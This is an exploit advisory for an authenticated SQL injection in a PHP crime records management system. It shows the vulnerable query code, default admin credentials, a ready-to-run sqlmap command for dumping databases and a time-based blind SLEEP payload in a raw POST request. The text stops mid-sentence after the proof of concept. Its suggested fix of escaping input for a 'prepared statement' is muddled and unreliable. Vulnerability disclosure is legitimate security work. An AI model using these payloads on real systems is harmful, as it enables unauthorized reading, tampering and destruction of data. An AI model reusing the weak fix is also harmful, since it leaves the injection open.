# Exploit Title: Crime records Management System 1.0 - 'Multiple' SQL Injection (Authenticated)
# Date: 17/08/2021
# Exploit Author: Davide 't0rt3ll1n0' Taraschi
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Testeted on: Linux (Ubuntu 20.04) using LAMPP

## Impact:
An authenticated user may be able to read data for which is not authorized, tamper with or destroy data, or possibly even read/write files or execute code on the database server.

## Description:
All four parameters passed via POST are vulnerable:
`fname` is vulnerable both to boolean-based blind and time-based blind SQLi
`oname` is vulnerable both to boolean-based blind and time-based blind SQLi
`username` is only vulnerable to time-based blind SQLi
`status` is vulnerable both to boolean-based blind and time-based blind SQLi

## Remediation:
Here is the vulnerable code:

mysqli_query($dbcon,"update userlogin set surname='$fname', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());
mysqli_query($dbcon,"update userlogin set surname='$fname',status='$status', othernames='$oname' where staffid='$staffid'")or die(mysqli_error());

As you can see the parameters described above are passed to the code without being checked, this lead to the SQLi.
To patch this vulnerability, i suggest to sanitize those variables via `mysql_real_escape_string()` before being passed to the prepared statement.

## Exploitation through sqlmap
1) Log into the application (you can try the default creds 1111:admin123)
2) Copy your PHPSESSID cookie
3) Launch the following command:
sqlmap --method POST -u http://$target/ghpolice/admin/savestaffedit.php --data="fname=&oname=&username=&status=" --batch --dbs --cookie="PHPSESSID=$phpsessid"
replacing $target with your actual target and $phpsessid with the cookie that you had copied before

## PoC:
POST /ghpolice/admin/savestaffedit.php HTTP/1.1

fname=' AND (SELECT * FROM (SELECT(SLEEP(5)))foo)-- &oname=&username=&status=

And after 5 seconds we got:
